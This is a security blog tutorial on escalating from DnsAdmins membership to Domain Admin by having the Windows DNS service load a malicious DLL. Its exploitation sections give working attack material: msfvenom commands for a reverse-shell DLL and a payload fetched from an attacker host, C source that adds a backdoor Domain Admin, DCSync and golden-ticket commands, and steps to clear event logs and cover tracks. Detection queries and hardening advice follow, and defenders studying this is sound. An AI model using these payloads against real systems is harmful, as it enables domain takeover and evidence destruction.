DnsAdmins group privilege escalation techniques

DnsAdmins Group Exploitation: From DNS to Domain Admin

Detailed walkthrough of DnsAdmins privilege escalation through DLL injection into DNS service, covering exploitation, cleanup, and mitigation strategies.

Introduction

The DnsAdmins group represents one of Active Directory's most underestimated attack vectors—a seemingly innocuous administrative group that, when exploited, provides a direct path to complete domain compromise. Members of this built-in group possess the ability to manage DNS servers in the domain, including loading arbitrary DLL plugins into the DNS service. Since the DNS service on domain controllers runs with NT AUTHORITY\SYSTEM privileges, this capability translates into code execution at the highest privilege level on domain controllers.

What makes DnsAdmins exploitation particularly dangerous is its stealth and legitimacy. Unlike exploitation of obvious privileged groups like Domain Admins or Enterprise Admins, DnsAdmins membership rarely triggers security alerts or appears in standard privilege escalation monitoring. Organizations often grant this membership to help desk personnel, junior administrators, or automated service accounts without fully understanding the security implications. A compromised account in this group becomes a silent stepping stone to complete domain takeover.

The attack leverages a powerful administrative feature rather than exploiting a vulnerability—the DNS service's plugin architecture. This design allows administrators to extend DNS functionality through custom DLLs that are loaded directly into the DNS service process. While Microsoft provides this capability for legitimate extensibility, it creates a privilege escalation vector when combined with insufficient access controls and monitoring. The result: a low-privilege DnsAdmins member can achieve Domain Admin-equivalent access through a series of straightforward commands.

Hidden Privilege Escalation

DnsAdmins exploitation doesn't require exploiting software vulnerabilities or bypassing security controls. It leverages a legitimate administrative feature that executes with SYSTEM privileges. Most security tools won't detect this attack because all actions appear as authorized DNS administration activities.

Technical Background

Understanding the DnsAdmins Group

DnsAdmins is a built-in security group created when the first Active Directory-integrated DNS server is installed in the domain. Members of this group have administrative access to DNS servers, including the ability to:

  • Configure DNS server settings
  • Create and manage DNS zones
  • Configure DNS forwarders and root hints
  • Load and configure server-level plugins (ServerLevelPluginDll)
  • Start and stop the DNS service (with proper permissions)

Group Properties:

Distinguished Name: CN=DnsAdmins,CN=Users,DC=domain,DC=local
Group Scope: Domain Local
Group Type: Security
Default Members: None
Created: When first DNS server role is installed

The ServerLevelPluginDll Mechanism

The Windows DNS service supports custom plugins through the ServerLevelPluginDll registry value. This mechanism allows administrators to load custom DLLs that can hook into DNS query resolution:

Registry Location:

HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll

How it works:

  1. Administrator specifies DLL path in ServerLevelPluginDll registry value
  2. DNS service reads this value on startup
  3. DNS service loads the specified DLL into its process space
  4. DLL code executes with NT AUTHORITY\SYSTEM privileges
  5. DNS service calls exported functions from the DLL during query processing

Key Technical Details:

AspectDescriptionSecurity Implication
Execution ContextNT AUTHORITY\SYSTEMHighest privilege level on Windows
DLL LoadingOccurs at DNS service startRequires service restart to execute
Path ValidationNo path restrictionsCan load DLLs from UNC paths
Function ExportsSpecific exports requiredDLL must implement DNS plugin interface
VerificationNo digital signature checkAny DLL can be loaded

DNS Plugin Interface

A valid DNS plugin DLL must export specific functions:

// Required exports for DNS plugin
DWORD WINAPI DnsPluginInitialize(
    PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction,
    PLUGIN_FREE_FUNCTION pDnsFreeFunction
);

DWORD WINAPI DnsPluginCleanup();

DWORD WINAPI DnsPluginQuery(
    PSTR pszQueryName,
    WORD wQueryType,
    PSTR pszRecordOwnerName,
    PDB_RECORD *ppDnsRecordListHead
);

While a properly formatted plugin should implement these exports, the mere act of loading the DLL triggers code execution, making the export requirements less critical for exploitation purposes.

Attack Prerequisites and Reconnaissance

Identifying DnsAdmins Membership

Check Current User Membership:

# PowerShell - Check if current user is in DnsAdmins
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$dnsAdminsRole = [Security.Principal.WindowsBuiltInRole]::Administrator

# Get group membership
$groups = $identity.Groups | ForEach-Object {
    $_.Translate([Security.Principal.NTAccount])
}

$groups | Where-Object {$_ -like "*DnsAdmins*"}

# Alternative: Using whoami
whoami /groups | findstr DnsAdmins

# CMD - Direct check
net user %USERNAME% /domain | findstr /i "DnsAdmins"

Enumerate All DnsAdmins Members:

# PowerShell - Get all members
Get-ADGroupMember -Identity "DnsAdmins" | Select-Object Name, SamAccountName, objectClass

# Using PowerView
Get-DomainGroupMember -Identity "DnsAdmins" | Select-Object MemberName, MemberSID

# Using net command
net group "DnsAdmins" /domain

Linux Enumeration:

# Using ldapsearch
ldapsearch -x -h dc01.domain.local -D "[email protected]" -w password \
    -b "CN=DnsAdmins,CN=Users,DC=domain,DC=local" member

# Using rpcclient
rpcclient -U "domain/user%password" dc01.domain.local
rpcclient $> querygroup 0x229
rpcclient $> querygroupmem 0x229

# Using CrackMapExec
crackmapexec ldap dc01.domain.local -u user -p password \
    --query '(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)' \
    --attribute sAMAccountName

Verifying DNS Service Configuration

Check DNS Service Status:

# Verify DNS service is running
Get-Service DNS

# Check DNS service configuration
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq "DNS"} |
    Select-Object Name, State, StartMode, StartName

# Verify service runs as SYSTEM
Get-Process | Where-Object {$_.ProcessName -eq "dns"} |
    Select-Object ProcessName, Id, StartTime, @{N='User';E={(Get-WmiObject Win32_Process -Filter "ProcessId = $($_.Id)").GetOwner().User}}

Check Current ServerLevelPluginDll Setting:

# Check if plugin is already configured
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue

# Remote check (requires admin rights)
Invoke-Command -ComputerName dc01 -ScriptBlock {
    Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
}

Permission Verification

Check DNS Service Permissions:

# Get service security descriptor
$service = Get-WmiObject Win32_Service -Filter "Name='DNS'"
$service.GetSecurityDescriptor().Descriptor.DACL

# Check user permissions on DNS service
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$sid = $identity.User.Value

# Using sc.exe to show service security
sc.exe sdshow DNS

# Decode SDDL to readable format
$sddl = (sc.exe sdshow DNS)[1]
ConvertFrom-SddlString -Sddl $sddl -Type Service

Typical DnsAdmins Permissions:

The service security descriptor should show:
- RP (SERVICE_START): Read permissions, Start service
- WP (SERVICE_STOP): Write permissions, Stop service
- DT (SERVICE_PAUSE_CONTINUE): Pause and continue service
- LO (SERVICE_INTERROGATE): Query service status
- RC (READ_CONTROL): Read security descriptor

Exploitation Methodology

Phase 1: Creating the Malicious DLL

Option 1: Simple DLL with msfvenom

# Generate DLL to add user to Domain Admins
msfvenom -p windows/x64/exec \
    cmd='net group "Domain Admins" backdoor /add /domain' \
    -f dll -o adduser.dll

# Generate reverse shell DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f dll -o dns_plugin.dll

# Generate DLL to execute PowerShell payload
msfvenom -p windows/x64/exec \
    cmd='powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/payload.ps1\")"' \
    -f dll -o dns_plugin.dll

Option 2: Custom C DLL with DnsPluginQuery Implementation

// dns_plugin.c - Proper DNS plugin with malicious payload
#include <windows.h>
#include <stdio.h>

// DNS plugin exports
__declspec(dllexport) DWORD WINAPI DnsPluginInitialize(
    PVOID pDnsAllocateFunction,
    PVOID pDnsFreeFunction)
{
    // Execute payload on initialization
    system("net user backdoor Password123! /add /domain");
    system("net group \"Domain Admins\" backdoor /add /domain");

    return ERROR_SUCCESS;
}

__declspec(dllexport) DWORD WINAPI DnsPluginCleanup()
{
    return ERROR_SUCCESS;
}

__declspec(dllexport) DWORD WINAPI DnsPluginQuery(
    PCHAR pszQueryName,
    WORD wQueryType,
    PCHAR pszRecordOwnerName,
    PVOID *ppDnsRecordListHead)
{
    return ERROR_SUCCESS;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // Also execute on DLL load
        system("net user backdoor Password123! /add /domain");
        system("net group \"Domain Admins\" backdoor /add /domain");
        break;
    }
    return TRUE;
}
# Compile on Linux with MinGW
x86_64-w64-mingw32-gcc dns_plugin.c -shared -o dns_plugin.dll

# Compile on Windows
cl /LD dns_plugin.c /link /EXPORT:DnsPluginInitialize /EXPORT:DnsPluginCleanup /EXPORT:DnsPluginQuery

Option 3: Using Mimilib.dll from Mimikatz

# Download and modify mimilib
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/mimilib

# Edit kdns.c to add custom payload
# Modify the DnsPluginQuery function:
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
    FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
    if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
    {
        klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
        fclose(kdns_logfile);

        // Add payload here
        system("cmd.exe /c net user backdoor Password123! /add /domain && net group \"Domain Admins\" backdoor /add /domain");
    }
    return ERROR_SUCCESS;
}

Phase 2: Hosting and Delivering the DLL

Option 1: SMB Share (Most Common)

# On Kali Linux - Set up SMB share
impacket-smbserver -smb2support share $(pwd)

# With authentication
impacket-smbserver -smb2support -username attacker -password Password123! share $(pwd)

# Verify DLL is accessible from target
# On Windows:
dir \\10.10.14.5\share\dns_plugin.dll

Option 2: WebDAV Server

# Install wsgidav
pip3 install wsgidav

# Start WebDAV server
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $(pwd)

# Access from Windows
net use * http://10.10.14.5/dns_plugin.dll

Option 3: Local Path (Requires Write Access)

# Copy DLL to writable location on DC
Copy-Item \\10.10.14.5\share\dns_plugin.dll C:\Windows\Temp\

# Verify permissions
icacls C:\Windows\Temp\dns_plugin.dll

Phase 3: Configuring DNS Plugin

Using dnscmd Utility:

# Configure ServerLevelPluginDll to load malicious DLL
dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll

# Expected output:
# Registry property serverlevelplugindll successfully reset.
# Command completed successfully.

# Using local path
dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\dns_plugin.dll

# Verify configuration
dnscmd.exe /info /serverlevelplugindll

# View registry directly
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

Remote Configuration:

# Configure from remote machine (requires DnsAdmins membership)
dnscmd.exe dc01.domain.local /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll

# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
    dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
}

Common Errors and Solutions:

Error: "DNS Server failed to reset registry property. Status = 5 (0x00000005)"
Solution: User is not member of DnsAdmins group

Error: "Command failed: ERROR_ACCESS_DENIED"
Solution: Verify DnsAdmins membership and group policy refresh

Error: The path is not valid
Solution: Ensure UNC path is accessible from domain controller

Phase 4: Restarting the DNS Service

Check Restart Permissions:

# Verify user has rights to restart DNS service
$user = [Security.Principal.WindowsIdentity]::GetCurrent().Name
$sid = wmic useraccount where name='%USERNAME%' get sid /format:list

# Check service permissions
sc.exe sdshow DNS | findstr $sid

Restart DNS Service:

# Stop DNS service
sc.exe stop dns

# Verify service stopped
sc.exe query dns

# Start DNS service (triggers DLL load)
sc.exe start dns

# Alternative: Combined command
sc.exe stop dns && timeout /t 3 && sc.exe start dns

Remote Restart:

# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
    Restart-Service DNS -Force
}

# Using sc.exe remotely
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

# Using WMI
Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
    Invoke-WmiMethod -Name StopService

Start-Sleep -Seconds 5

Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
    Invoke-WmiMethod -Name StartService

Monitoring Service Status:

# Watch for service restart
while ($true) {
    $status = (Get-Service -ComputerName dc01 -Name DNS).Status
    Write-Host "[$(Get-Date -Format 'HH:mm:ss')] DNS Service: $status"

    if ($status -eq 'Running') {
        Write-Host "[+] DNS service restarted - payload should have executed"
        break
    }

    Start-Sleep -Seconds 2
}

Phase 5: Verification and Post-Exploitation

Verify Payload Execution:

# Check if user was added (if using adduser payload)
net group "Domain Admins" /domain | findstr backdoor

# Check for reverse shell connection
# On attacker machine:
nc -lvnp 4444

# Test new credentials
runas /user:domain\backdoor cmd.exe

# Verify with CrackMapExec
crackmapexec smb dc01.domain.local -u backdoor -p Password123! --sam

Troubleshooting Failed Exploitation:

# Check DNS service logs
Get-WinEvent -FilterHashtable @{LogName='DNS Server';StartTime=(Get-Date).AddMinutes(-10)} |
    Where-Object {$_.LevelDisplayName -eq 'Error'} |
    Select-Object TimeCreated, Message

# Check System event log for service failures
Get-WinEvent -FilterHashtable @{LogName='System';ID=7000,7001,7023,7024;StartTime=(Get-Date).AddMinutes(-10)} |
    Where-Object {$_.Message -like '*DNS*'}

# Check if DLL was loaded
Get-Process dns | Select-Object -ExpandProperty Modules | Where-Object {$_.FileName -like '*dns_plugin*'}

Advanced Attack Scenarios

Scenario 1: DCSync After Exploitation

Once code execution is achieved, perform DCSync:

# Add DCSync rights to compromised account
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
    -PrincipalIdentity backdoor `
    -Rights DCSync -Verbose

# Perform DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

# From Linux
impacket-secretsdump domain.local/backdoor:Password123!@dc01.domain.local -just-dc

Scenario 2: Golden Ticket Creation

# Extract krbtgt hash via DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<hash> /id:500

# From Linux
impacket-lookupsid domain.local/backdoor:Password123!@dc01.domain.local

impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local Administrator

# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc01.domain.local

Scenario 3: Persistence Through Shadow Credentials

# Add shadow credentials to privileged account
$bytes = New-Object byte[] 2048
$rng = [System.Security.Cryptography.RandomNumberGenerator]::Create()
$rng.GetBytes($bytes)

$cert = New-SelfSignedCertificate -Subject "CN=ShadowCred" -KeyAlgorithm RSA -KeyLength 2048

# Add key credential attribute
Set-ADUser -Identity Administrator -KeyCredentialLink @{Add=$bytes}

# Request TGT using shadow credential
Rubeus.exe asktgt /user:Administrator /certificate:<cert> /password:<cert_password>

Cleanup and Anti-Forensics

Removing the Malicious Plugin

Critical: Cleanup Must Be Performed Carefully

# Step 1: Verify current configuration
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

# Step 2: Remove registry value
dnscmd.exe dc01 /config /serverlevelplugindll NULL

# Alternative: Direct registry deletion
reg delete \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f

# Step 3: Restart DNS service to unload DLL
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

# Step 4: Verify removal
dnscmd.exe dc01 /info /serverlevelplugindll
# Should return: ServerLevelPluginDll = (NULL)

Verify DNS Service Health:

# Test DNS resolution
nslookup dc01.domain.local dc01

# Verify service is running normally
Get-Service -ComputerName dc01 -Name DNS

# Check for errors
Get-WinEvent -ComputerName dc01 -FilterHashtable @{
    LogName='DNS Server'
    StartTime=(Get-Date).AddMinutes(-10)
    Level=1,2,3
} | Select-Object TimeCreated, LevelDisplayName, Message

Removing Forensic Evidence

# Clear command history
Clear-History

# Remove PowerShell transcript logs
Remove-Item $env:USERPROFILE\Documents\*transcript*.txt -Force

# Clear event logs (requires admin - use sparingly)
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Remove DLL from share
Remove-Item \\10.10.14.5\share\dns_plugin.dll -Force

# Clear DNS debug logs
dnscmd.exe dc01 /config /logfilemaxsize 0

# Remove added user account (if applicable)
net user backdoor /delete /domain

Covering Tracks

# Check audit logs for evidence
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4688,4689  # Process creation/termination
    StartTime=(Get-Date).AddHours(-1)
} | Where-Object {
    $_.Message -like '*dnscmd*' -or
    $_.Message -like '*dns_plugin*'
}

# Clear specific events (admin required)
$events = Get-WinEvent -FilterHashtable @{LogName='Security'} |
    Where-Object {$_.Message -like '*dnscmd*'}

foreach ($event in $events) {
    # Note: This requires stopping the event log service
    # wevtutil.exe clear-log Security
}

Detection and Monitoring

Event Log Indicators

Key Event IDs to Monitor:

Event IDLogDescriptionIndicator
770DNS ServerPlugin loadedServerLevelPluginDll loaded
4697SecurityService installedNew service creation
7045SystemService installedDNS service modification
4688SecurityProcess creationdnscmd.exe execution
4656SecurityHandle to object requestedDNS service registry access
4663SecurityAttempt to access objectDNS Parameters registry modification

PowerShell Detection Query:

# Monitor for dnscmd.exe execution
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-PowerShell/Operational'
    ID=4104  # Script block logging
    StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
    $_.Message -like '*dnscmd*' -and
    $_.Message -like '*serverlevelplugindll*'
}

# Monitor registry modifications
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4657  # Registry value modified
    StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
    $_.Message -like '*ServerLevelPluginDll*'
}

SIEM Detection Rules

Splunk Query:

index=windows (EventCode=4688 Image="*dnscmd.exe" CommandLine="*serverlevelplugindll*")
OR (EventCode=4657 ObjectName="*\\DNS\\Parameters*" ObjectValueName="ServerLevelPluginDll")
OR (EventCode=770 source="DNS Server")
| stats count by ComputerName, User, CommandLine, ObjectName
| where count > 0

Sentinel KQL Query:

SecurityEvent
| where EventID in (4688, 4657, 770)
| where (
    (EventID == 4688 and Process contains "dnscmd.exe" and CommandLine contains "serverlevelplugindll")
    or (EventID == 4657 and ObjectName contains "DNS\\Parameters" and ObjectValueName == "ServerLevelPluginDll")
    or (EventID == 770)
)
| project TimeGenerated, Computer, Account, Process, CommandLine, ObjectName, ObjectValueName
| order by TimeGenerated desc

Elastic Query:

{
  "query": {
    "bool": {
      "should": [
        {
          "bool": {
            "must": [
              {"match": {"event.code": "4688"}},
              {"wildcard": {"process.executable": "*dnscmd.exe"}},
              {"wildcard": {"process.command_line": "*serverlevelplugindll*"}}
            ]
          }
        },
        {
          "bool": {
            "must": [
              {"match": {"event.code": "4657"}},
              {"wildcard": {"registry.path": "*DNS\\Parameters*"}},
              {"match": {"registry.value": "ServerLevelPluginDll"}}
            ]
          }
        }
      ],
      "minimum_should_match": 1
    }
  }
}

Proactive Monitoring Script

# dns_admin_monitor.ps1
$lastCheck = Get-Date

while ($true) {
    # Check ServerLevelPluginDll registry value
    $pluginDll = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" `
        -Name ServerLevelPluginDll -ErrorAction SilentlyContinue

    if ($pluginDll) {
        $alert = @{
            Timestamp = Get-Date
            Alert = "CRITICAL: ServerLevelPluginDll configured"
            Value = $pluginDll.ServerLevelPluginDll
            Server = $env:COMPUTERNAME
        }

        # Send alert
        $alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log

        # Send email alert
        Send-MailMessage -To "[email protected]" `
            -From "[email protected]" `
            -Subject "CRITICAL: DNS Plugin Configured" `
            -Body ($alert | ConvertTo-Json) `
            -SmtpServer "mail.domain.local"
    }

    # Check for dnscmd.exe in recent process creations
    $suspiciousProcesses = Get-WinEvent -FilterHashtable @{
        LogName='Security'
        ID=4688
        StartTime=$lastCheck
    } | Where-Object {
        $_.Properties[5].Value -like '*dnscmd.exe*' -and
        $_.Properties[8].Value -like '*serverlevelplugindll*'
    }

    if ($suspiciousProcesses) {
        $alert = @{
            Timestamp = Get-Date
            Alert = "SUSPICIOUS: dnscmd.exe executed with ServerLevelPluginDll"
            Processes = $suspiciousProcesses | ForEach-Object {
                @{
                    Time = $_.TimeCreated
                    User = $_.Properties[1].Value
                    CommandLine = $_.Properties[8].Value
                }
            }
        }

        $alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log
    }

    $lastCheck = Get-Date
    Start-Sleep -Seconds 60
}

Mitigation and Defense

Restrict DnsAdmins Membership

# Audit current DnsAdmins members
Get-ADGroupMember -Identity "DnsAdmins" |
    Select-Object Name, SamAccountName, distinguishedName |
    Export-Csv -Path "C:\Audits\DnsAdmins_Members_$(Get-Date -Format 'yyyyMMdd').csv"

# Remove unnecessary members
Remove-ADGroupMember -Identity "DnsAdmins" -Members "unnecessaryuser" -Confirm:$false

# Implement JIT access instead of permanent membership
# Use Privileged Access Management (PAM) solutions

Implement Registry Auditing

# Enable auditing on DNS Parameters registry key
$path = "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters"
$acl = Get-Acl $path

# Add audit rule for Everyone modifying ServerLevelPluginDll
$auditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
    "Everyone",
    [System.Security.AccessControl.RegistryRights]::SetValue,
    [System.Security.AccessControl.AuditFlags]::Success
)

$acl.AddAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl

# Verify audit rule
(Get-Acl $path).Audit | Format-Table -AutoSize

DNS Service Hardening

# Restrict DNS service permissions
# Remove DnsAdmins from having SERVICE_START/SERVICE_STOP rights

$service = "DNS"
$dnsAdminsSID = (Get-ADGroup "DnsAdmins").SID.Value

# Get current SDDL
$sddl = (sc.exe sdshow $service)[1]

# Remove DnsAdmins permissions from SDDL (manual editing required)
# Or use GUI: sc.exe sdset DNS "<modified_sddl>"

# Alternative: Disable remote DNS management
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" `
    -Name "AllowRemoteAdministration" -Value 0

Group Policy Restrictions

<!-- GPO to restrict dnscmd.exe execution -->
<!-- Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker -->

<FilePathRule Id="..." Name="Block dnscmd.exe for non-admins" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
    <Conditions>
        <FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
    </Conditions>
</FilePathRule>

<!-- Only allow for Domain Admins -->
<FilePathRule Id="..." Name="Allow dnscmd.exe for Domain Admins" Description="" UserOrGroupSid="S-1-5-21-domain-512" Action="Allow">
    <Conditions>
        <FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
    </Conditions>
</FilePathRule>

Implement Protected Process Light (PPL)

# Enable PPL for DNS service (Windows Server 2016+)
# This prevents unsigned DLLs from being loaded

# Modify service to run as PPL
reg add "HKLM\SYSTEM\CurrentControlSet\Services\DNS" /v Type /t REG_DWORD /d 0x110 /f

# Restart DNS service
Restart-Service DNS

# Verify PPL status
Get-Process dns | Select-Object ProcessName, ProtectionLevel

Prevention Best Practices

Security Checklist

  • Audit DnsAdmins membership monthly and remove unnecessary accounts
  • Implement JIT access for DNS administration
  • Enable registry auditing on DNS Parameters key
  • Monitor Event IDs 770, 4688, 4657 for suspicious activity
  • Restrict dnscmd.exe execution via AppLocker or WDAC
  • Enable PPL for DNS service on supported systems
  • Implement SIEM alerts for ServerLevelPluginDll modifications
  • Regular security assessments including DnsAdmins attack simulation
  • Document all legitimate DNS plugin usage
  • Implement tiered administration model isolating DNS management

Alternative Approaches

Separate DNS Servers from Domain Controllers:

Security Best Practice:
┌────────────────────┐     ┌──────────────────┐
│  Domain Controller │     │   DNS Server     │
│                    │────▶│                  │
│  No DNS Role       │     │  Member Server   │
└────────────────────┘     └──────────────────┘

Benefits:
- DNS compromise doesn't affect DC
- Reduces attack surface on DC
- Allows separate administration
- Easier monitoring and containment

Delegate DNS Management Granularly:

# Instead of DnsAdmins, create custom groups with minimal permissions
New-ADGroup -Name "DNS-ZoneManagers" -GroupScope DomainLocal `
    -Description "Can manage DNS zones but not service configuration"

# Grant permissions only to specific DNS zones
$zone = "subdomain.domain.local"
$group = "DNS-ZoneManagers"

# Using dnscmd (limited to zone operations)
dnscmd.exe localhost /ZoneResetSecondaries $zone /SecureList $group

Testing and Validation

Simulated Attack Exercise

# Controlled test environment script
# Run with documented authorization

Write-Host "[*] DnsAdmins Exploitation Simulation" -ForegroundColor Yellow
Write-Host "[!] Authorized test only - Document all actions" -ForegroundColor Red

# Step 1: Verify test account in DnsAdmins
$testUser = "testdnsadmin"
$membership = Get-ADGroupMember -Identity "DnsAdmins" |
    Where-Object {$_.SamAccountName -eq $testUser}

if (-not $membership) {
    Write-Host "[-] Test user not in DnsAdmins group" -ForegroundColor Red
    exit
}

# Step 2: Create harmless test DLL
# (Use simple DLL that logs to file instead of malicious payload)
$testDll = "C:\Temp\test_dns_plugin.dll"

# Step 3: Configure plugin (in test environment)
Write-Host "[*] Configuring ServerLevelPluginDll..." -ForegroundColor Cyan
dnscmd.exe localhost /config /serverlevelplugindll $testDll

# Step 4: Check detection mechanisms
Write-Host "[*] Checking if SIEM detected the activity..." -ForegroundColor Cyan
Start-Sleep -Seconds 10

# Query SIEM or local event logs
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4657
    StartTime=(Get-Date).AddMinutes(-2)
} | Where-Object {$_.Message -like '*ServerLevelPluginDll*'}

# Step 5: Cleanup
Write-Host "[*] Cleaning up test configuration..." -ForegroundColor Cyan
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f

Write-Host "[+] Simulation complete - Review logs and alerts" -ForegroundColor Green

References

Next Steps

If DnsAdmins vulnerabilities are identified:

  • Immediately audit DnsAdmins group membership
  • Implement monitoring for ServerLevelPluginDll registry modifications
  • Enable auditing on DNS Parameters registry key
  • Consider separating DNS role from domain controllers
  • Implement JIT access for DNS administration privileges
  • Explore related Active Directory privilege escalation techniques:

Takeaway: DnsAdmins group exploitation demonstrates how seemingly administrative groups can provide direct paths to domain compromise. Unlike obvious privileged groups, DnsAdmins membership rarely triggers security alerts, making it an attractive target for attackers. The combination of restricted group membership, registry auditing, service hardening, and comprehensive monitoring provides defense-in-depth against this privilege escalation vector. Treat DnsAdmins membership with the same scrutiny as Domain Admins—it's a single step away from complete domain control.

Last updated on

DnsAdmins Group Exploitation: From DNS to Domain Admin | Drake Axelrod